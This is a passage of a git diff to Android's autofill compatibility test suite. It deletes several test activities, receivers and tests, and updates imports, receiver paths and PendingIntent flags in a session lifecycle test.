-import android.service.autofill.InternalSanitizer;
-import android.service.autofill.Sanitizer;
-import android.service.autofill.SaveInfo;
-import android.view.autofill.AutofillId;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class SaveInfoTest {
-
-    private final AutofillId mId = new AutofillId(42);
-    private final AutofillId[] mIdArray = { mId };
-    private final InternalSanitizer mSanitizer = mock(InternalSanitizer.class);
-
-    @Test
-    public void testRequiredIdsBuilder_null() {
-        assertThrows(IllegalArgumentException.class,
-                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, null));
-    }
-
-    @Test
-    public void testRequiredIdsBuilder_empty() {
-        assertThrows(IllegalArgumentException.class,
-                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, new AutofillId[] {}));
-    }
-
-    @Test
-    public void testRequiredIdsBuilder_nullEntry() {
-        assertThrows(IllegalArgumentException.class,
-                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                        new AutofillId[] { null }));
-    }
-
-    @Test
-    public void testBuild_noOptionalIds() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC);
-        assertThrows(IllegalStateException.class, ()-> builder.build());
-    }
-
-    @Test
-    public void testSetOptionalIds_null() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                mIdArray);
-        assertThrows(IllegalArgumentException.class, ()-> builder.setOptionalIds(null));
-    }
-
-    @Test
-    public void testSetOptional_empty() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                mIdArray);
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.setOptionalIds(new AutofillId[] {}));
-    }
-
-    @Test
-    public void testSetOptional_nullEntry() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                mIdArray);
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.setOptionalIds(new AutofillId[] { null }));
-    }
-
-    @Test
-    public void testAddSanitizer_illegalArgs() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                mIdArray);
-        // Null sanitizer
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSanitizer(null, mId));
-        // Invalid sanitizer class
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSanitizer(mock(Sanitizer.class), mId));
-        // Null ids
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSanitizer(mSanitizer, (AutofillId[]) null));
-        // Empty ids
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSanitizer(mSanitizer, new AutofillId[] {}));
-        // Repeated ids
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSanitizer(mSanitizer, new AutofillId[] {mId, mId}));
-    }
-
-    @Test
-    public void testAddSanitizer_sameIdOnDifferentCalls() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                mIdArray);
-        builder.addSanitizer(mSanitizer, mId);
-        assertThrows(IllegalArgumentException.class, () -> builder.addSanitizer(mSanitizer, mId));
-    }
-
-    @Test
-    public void testBuild_invalid() {
-        // No nothing
-        assertThrows(IllegalStateException.class, () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC)
-                .build());
-        // Flag only, but invalid flag
-        assertThrows(IllegalStateException.class, () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC)
-                .setFlags(FLAG_DONT_SAVE_ON_FINISH).build());
-    }
-
-    @Test
-    public void testBuild_valid() {
-        // Required ids
-        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, mIdArray)
-                .build()).isNotNull();
-
-        // Optional ids
-        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC).setOptionalIds(mIdArray)
-                .build()).isNotNull();
-
-        // Delayed save
-        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC).setFlags(FLAG_DELAY_SAVE)
-                .build()).isNotNull();
-    }
-
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SecondActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SecondActivity.java
deleted file mode 100644
index 2aa60c9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SecondActivity.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.Bundle;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.widget.TextView;
-
-/**
- * Activity that is used to test restored mechanism will work while running below steps:
- * 1. Taps span on the save UI to start the ViewActionActivity.
- * 2. Launches the SecondActivity and immediately finish the ViewActionActivity.
- * 3. Presses back key on the SecondActivity.
- * The expected that the save UI should have been restored.
- */
-public class SecondActivity extends AbstractAutoFillActivity {
-
-    private static SecondActivity sInstance;
-
-    private static final String TAG = "SecondActivity";
-    static final String ID_WELCOME = "welcome";
-    static final String DEFAULT_MESSAGE = "Welcome second activity";
-
-    public SecondActivity() {
-        sInstance = this;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.welcome_activity);
-
-        TextView welcome = (TextView) findViewById(R.id.welcome);
-        welcome.setText(DEFAULT_MESSAGE);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        Log.v(TAG, "Setting sInstance to null onDestroy()");
-        sInstance = null;
-    }
-
-    static void finishIt() {
-        if (sInstance != null) {
-            sInstance.finish();
-        }
-    }
-
-    static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
-        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
-        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
-                .isEqualTo(DEFAULT_MESSAGE);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java
deleted file mode 100644
index 8dc8dd9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Process;
-import android.util.Log;
-
-/**
- * A {@link BroadcastReceiver} that kills its process.
- */
-public class SelfDestructReceiver extends BroadcastReceiver {
-
-    private static final String TAG = "SelfDestructReceiver";
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        Log.i(TAG, "Goodbye, cruel world!");
-        Process.killProcess(Process.myPid());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ServiceDisabledForSureTest.java b/tests/autofillservice/src/android/autofillservice/cts/ServiceDisabledForSureTest.java
deleted file mode 100644
index 2841f78..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ServiceDisabledForSureTest.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.disableAutofillService;
-import static android.autofillservice.cts.Helper.enableAutofillService;
-import static android.autofillservice.cts.OnCreateServiceStatusVerifierActivity.SERVICE_NAME;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-
-import org.junit.BeforeClass;
-import org.junit.Test;
-
-/**
- * Test case that guarantee the service is disabled before the activity launches.
- */
-@AppModeFull(reason = "Service-specific test")
-public class ServiceDisabledForSureTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<OnCreateServiceStatusVerifierActivity> {
-
-    private static final String TAG = "ServiceDisabledForSureTest";
-
-    private OnCreateServiceStatusVerifierActivity mActivity;
-
-    @BeforeClass
-    public static void resetService() {
-        disableAutofillService(sContext);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity> getActivityRule() {
-        return new AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity>(
-                OnCreateServiceStatusVerifierActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Override
-    protected void prepareServicePreTest() {
-        // Doesn't need to prepare the service - that was already taken care of in a @BeforeClass -
-        // but to guarantee the test finishes in the proper state
-        Log.v(TAG, "prepareServicePreTest(): not doing anything");
-        mSafeCleanerRule.run(() ->assertThat(mActivity.getAutofillManager().isEnabled()).isFalse());
-    }
-
-    @Test
-    public void testIsAutofillEnabled() throws Exception {
-        mActivity.assertServiceStatusOnCreate(false);
-
-        final AutofillManager afm = mActivity.getAutofillManager();
-        Helper.assertAutofillEnabled(afm, false);
-
-        enableAutofillService(mContext, SERVICE_NAME);
-        Helper.assertAutofillEnabled(afm, true);
-
-        disableAutofillService(mContext);
-        Helper.assertAutofillEnabled(afm, false);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ServiceEnabledForSureTest.java b/tests/autofillservice/src/android/autofillservice/cts/ServiceEnabledForSureTest.java
deleted file mode 100644
index 60711d8..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ServiceEnabledForSureTest.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.disableAutofillService;
-import static android.autofillservice.cts.Helper.enableAutofillService;
-import static android.autofillservice.cts.OnCreateServiceStatusVerifierActivity.SERVICE_NAME;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-
-import org.junit.BeforeClass;
-import org.junit.Test;
-
-/**
- * Test case that guarantee the service is enabled before the activity launches.
- */
-public class ServiceEnabledForSureTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<OnCreateServiceStatusVerifierActivity> {
-
-    private static final String TAG = "ServiceEnabledForSureTest";
-
-    private OnCreateServiceStatusVerifierActivity mActivity;
-
-    @BeforeClass
-    public static void resetService() {
-        enableAutofillService(sContext, SERVICE_NAME);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity> getActivityRule() {
-        return new AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity>(
-                OnCreateServiceStatusVerifierActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Override
-    protected void prepareServicePreTest() {
-        // Doesn't need to prepare the service - that was already taken care of in a @BeforeClass -
-        // but to guarantee the test finishes in the proper state
-        Log.v(TAG, "prepareServicePreTest(): not doing anything");
-        mSafeCleanerRule.run(() ->assertThat(mActivity.getAutofillManager().isEnabled()).isTrue());
-    }
-
-    @Test
-    public void testIsAutofillEnabled() throws Exception {
-        mActivity.assertServiceStatusOnCreate(true);
-
-        final AutofillManager afm = mActivity.getAutofillManager();
-        Helper.assertAutofillEnabled(afm, true);
-
-        disableAutofillService(mContext);
-        Helper.assertAutofillEnabled(afm, false);
-
-        enableAutofillService(mContext, SERVICE_NAME);
-        Helper.assertAutofillEnabled(afm, true);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index 8fb8fdf..e1f1295 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -16,17 +16,17 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.Helper.ID_LOGIN;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.OutOfProcessLoginActivity.getDestroyedMarker;
-import static android.autofillservice.cts.OutOfProcessLoginActivity.getStartedMarker;
-import static android.autofillservice.cts.OutOfProcessLoginActivity.getStoppedMarker;
-import static android.autofillservice.cts.UiBot.LANDSCAPE;
-import static android.autofillservice.cts.UiBot.PORTRAIT;
+import static android.autofillservice.cts.activities.OutOfProcessLoginActivity.getDestroyedMarker;
+import static android.autofillservice.cts.activities.OutOfProcessLoginActivity.getStartedMarker;
+import static android.autofillservice.cts.activities.OutOfProcessLoginActivity.getStoppedMarker;
+import static android.autofillservice.cts.testcore.Helper.ID_LOGIN;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.UiBot.LANDSCAPE;
+import static android.autofillservice.cts.testcore.UiBot.PORTRAIT;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
 
@@ -41,6 +41,16 @@
 import android.app.ActivityManager;
 import android.app.PendingIntent;
 import android.app.assist.AssistStructure;
+import android.autofillservice.cts.activities.EmptyActivity;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.ManualAuthenticationActivity;
+import android.autofillservice.cts.activities.OutOfProcessLoginActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.autofillservice.cts.testcore.UiBot;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentSender;
@@ -108,8 +118,9 @@
 
     @After
     public void finishLoginActivityOnAnotherProcess() throws Exception {
-        runShellCommand("am broadcast --receiver-foreground "
-                + "-n android.autofillservice.cts/.OutOfProcessLoginActivityFinisherReceiver");
+        runShellCommand(
+                "am broadcast --receiver-foreground -n android.autofillservice.cts/.testcore"
+                        + ".OutOfProcessLoginActivityFinisherReceiver");
         mUiBot.assertGoneByRelativeId(ID_USERNAME, Timeouts.ACTIVITY_RESURRECTION);
 
         if (!OutOfProcessLoginActivity.hasInstance()) {
@@ -133,7 +144,7 @@
 
         // Kill activity that is in the background
         runShellCommand("am broadcast --receiver-foreground "
-                + "-n android.autofillservice.cts/.SelfDestructReceiver");
+                + "-n android.autofillservice.cts/.testcore.SelfDestructReceiver");
     }
 
     private void startAndWaitExternalActivity() throws Exception {
@@ -173,7 +184,7 @@
             // Create the authentication intent (launching a full screen activity)
             IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
                     new Intent(getContext(), ManualAuthenticationActivity.class),
-                    0).getIntentSender();
+                    PendingIntent.FLAG_MUTABLE).getIntentSender();
 
             // Prepare the authenticated response
             ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
@@ -284,7 +295,7 @@
         // Create the authentication intent (launching a full screen activity)
         IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
                 new Intent(getContext(), ManualAuthenticationActivity.class),
-                0).getIntentSender();
+                PendingIntent.FLAG_IMMUTABLE).getIntentSender();
 
         CannedFillResponse response = new CannedFillResponse.Builder()
                 .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
deleted file mode 100644
index 54f391b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.net.Uri;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.support.test.uiautomator.UiObject2;
-
-import com.android.compatibility.common.util.FeatureUtil;
-
-import org.junit.After;
-import org.junit.Test;
-
-@AppModeFull(reason = "Service-specific test")
-public class SettingsIntentTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<TrampolineForResultActivity> {
-
-    private static final int MY_REQUEST_CODE = 42;
-
-
-    protected TrampolineForResultActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<TrampolineForResultActivity> getActivityRule() {
-        return new AutofillActivityTestRule<TrampolineForResultActivity>(
-                TrampolineForResultActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @After
-    public void killSettings() {
-        // Make sure there's no Settings activity left, as it could fail future tests.
-        if (FeatureUtil.isAutomotive()) {
-            runShellCommand("am force-stop com.android.car.settings");
-        } else {
-            runShellCommand("am force-stop com.android.settings");
-        }
-    }
-
-    @Test
-    public void testMultipleServicesShown() throws Exception {
-        disableService();
-
-        // Launches Settings.
-        mActivity.startForResult(newSettingsIntent(), MY_REQUEST_CODE);
-
-        // Asserts services are shown.
-        mUiBot.assertShownByText(InstrumentedAutoFillService.sServiceLabel);
-        mUiBot.assertShownByText(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
-        mUiBot.scrollToTextObject(NoOpAutofillService.SERVICE_LABEL);
-        mUiBot.assertShownByText(NoOpAutofillService.SERVICE_LABEL);
-        mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
-
-        // Finishes and asserts result.
-        mUiBot.pressBack();
-        mActivity.assertResult(Activity.RESULT_CANCELED);
-    }
-
-    @Test
-    public void testWarningShown_userRejectsByTappingBack() throws Exception {
-        disableService();
-
-        // Launches Settings.
-        mActivity.startForResult(newSettingsIntent(), MY_REQUEST_CODE);
-
-        // Asserts services are shown.
-        final UiObject2 object = mUiBot
-                .assertShownByText(InstrumentedAutoFillService.sServiceLabel);
-        object.click();
-
-        // TODO(b/79615759): should assert that "autofill_confirmation_message" is shown, but that
-        // string belongs to Settings - we need to move it to frameworks/base first (and/or use
-        // a resource id, also on framework).
-        // So, for now, just asserts the service name is showing again (in the popup), and the other
-        // services are not showing (because the popup hides then).
-
-        final UiObject2 msgObj = mUiBot.assertShownById("android:id/message");
-        final String msg = msgObj.getText();
-        assertWithMessage("Wrong warning message").that(msg)
-                .contains(InstrumentedAutoFillService.sServiceLabel);
-
-        // NOTE: assertion below is fine because it looks for the full text, not a substring
-        mUiBot.assertNotShowingForSure(InstrumentedAutoFillService.sServiceLabel);
-        mUiBot.assertNotShowingForSure(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
-        mUiBot.assertNotShowingForSure(NoOpAutofillService.SERVICE_LABEL);
-        mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
-
-        // Finishes and asserts result.
-        mUiBot.pressBack();
-        mActivity.assertResult(Activity.RESULT_CANCELED);
-    }
-
-    // TODO(b/79615759): add testWarningShown_userRejectsByTappingCancel() and
-    // testWarningShown_userAccepts() - these tests would require adding the strings and resource
-    // ids to frameworks/base
-
-    private Intent newSettingsIntent() {
-        return new Intent(Settings.ACTION_REQUEST_SET_AUTOFILL_SERVICE)
-                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
-                .setData(Uri.parse("package:" + Helper.MY_PACKAGE));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java
deleted file mode 100644
index 8142f3a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-
-/**
- * Activity that displays a "Finished login activity!" message after login.
- */
-public class SimpleAfterLoginActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "SimpleAfterLoginActivity";
-
-    static final String ID_AFTER_LOGIN = "after_login";
-
-    private static SimpleAfterLoginActivity sCurrentActivity;
-
-    public static SimpleAfterLoginActivity getCurrentActivity() {
-        return sCurrentActivity;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.simple_after_login_activity);
-
-        Log.v(TAG, "Set sCurrentActivity to this onCreate()");
-        sCurrentActivity = this;
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
-        sCurrentActivity = null;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java
deleted file mode 100644
index e14a6a4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-
-/**
- * Activity that displays a "Launch login activity!" message before login.
- */
-public class SimpleBeforeLoginActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "SimpleBeforeLoginActivity";
-
-    static final String ID_BEFORE_LOGIN = "before_login";
-
-    private static SimpleBeforeLoginActivity sCurrentActivity;
-
-    public static SimpleBeforeLoginActivity getCurrentActivity() {
-        return sCurrentActivity;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.simple_before_login_activity);
-
-        Log.v(TAG, "Set sCurrentActivity to this onCreate()");
-        sCurrentActivity = this;
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
-        sCurrentActivity = null;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
deleted file mode 100644
index 2666269..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.TextView;
-
-/**
- * Simple activity that has an edit text and buttons to cancel or commit the autofill context.
- */
-public class SimpleSaveActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "SimpleSaveActivity";
-
-    public static final String ID_LABEL = "label";
-    public static final String ID_INPUT = "input";
-    public static final String ID_PASSWORD = "password";
-    public static final String ID_COMMIT = "commit";
-    public static final String TEXT_LABEL = "Label:";
-
-    private static SimpleSaveActivity sInstance;
-
-    TextView mLabel;
-    EditText mInput;
-    EditText mPassword;
-    Button mCancel;
-    Button mCommit;
-
-    private boolean mAutoCommit = true;
-    private boolean mClearFieldsOnSubmit = false;
-
-    public static SimpleSaveActivity getInstance() {
-        return sInstance;
-    }
-
-    public SimpleSaveActivity() {
-        sInstance = this;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.simple_save_activity);
-
-        mLabel = findViewById(R.id.label);
-        mInput = findViewById(R.id.input);
-        mPassword = findViewById(R.id.password);
-        mCancel = findViewById(R.id.cancel);
-        mCommit = findViewById(R.id.commit);
-
-        mCancel.setOnClickListener((v) -> getAutofillManager().cancel());
-        mCommit.setOnClickListener((v) -> onCommit());
-    }
-
-    private void onCommit() {
-        if (mClearFieldsOnSubmit) {
-            resetFields();
-        }
-        if (mAutoCommit) {
-            Log.d(TAG, "onCommit(): calling AFM.commit()");
-            getAutofillManager().commit();
-        } else {
-            Log.d(TAG, "onCommit(): NOT calling AFM.commit()");
-        }
-    }
-
-    private void resetFields() {
-        Log.d(TAG, "resetFields()");
-        mInput.setText("");
-        mPassword.setText("");
-    }
-
-    /**
-     * Defines whether the activity should automatically call {@link AutofillManager#commit()} when
-     * the commit button is tapped.
-     */
-    void setAutoCommit(boolean flag) {
-        mAutoCommit = flag;
-    }
-
-    /**
-     * Defines whether the activity should automatically clear its fields when submit is clicked.
-     */
-    void setClearFieldsOnSubmit(boolean flag) {
-        mClearFieldsOnSubmit = flag;
-    }
-
-    public FillExpectation expectAutoFill(String input) {
-        final FillExpectation expectation = new FillExpectation(input, null);
-        mInput.addTextChangedListener(expectation.mInputWatcher);
-        return expectation;
-    }
-
-    public FillExpectation expectAutoFill(String input, String password) {
-        final FillExpectation expectation = new FillExpectation(input, password);
-        mInput.addTextChangedListener(expectation.mInputWatcher);
-        mPassword.addTextChangedListener(expectation.mPasswordWatcher);
-        return expectation;
-    }
-
-    public EditText getInput() {
-        return mInput;
-    }
-
-    public final class FillExpectation {
-        private final OneTimeTextWatcher mInputWatcher;
-        private final OneTimeTextWatcher mPasswordWatcher;
-
-        private FillExpectation(String input, String password) {
-            mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
-            mPasswordWatcher = password == null
-                    ? null
-                    : new OneTimeTextWatcher("password", mPassword, password);
-        }
-
-        public void assertAutoFilled() throws Exception {
-            mInputWatcher.assertAutoFilled();
-            if (mPasswordWatcher != null) {
-                mPasswordWatcher.assertAutoFilled();
-            }
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
deleted file mode 100644
index c099043..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ /dev/null
@@ -1,1874 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
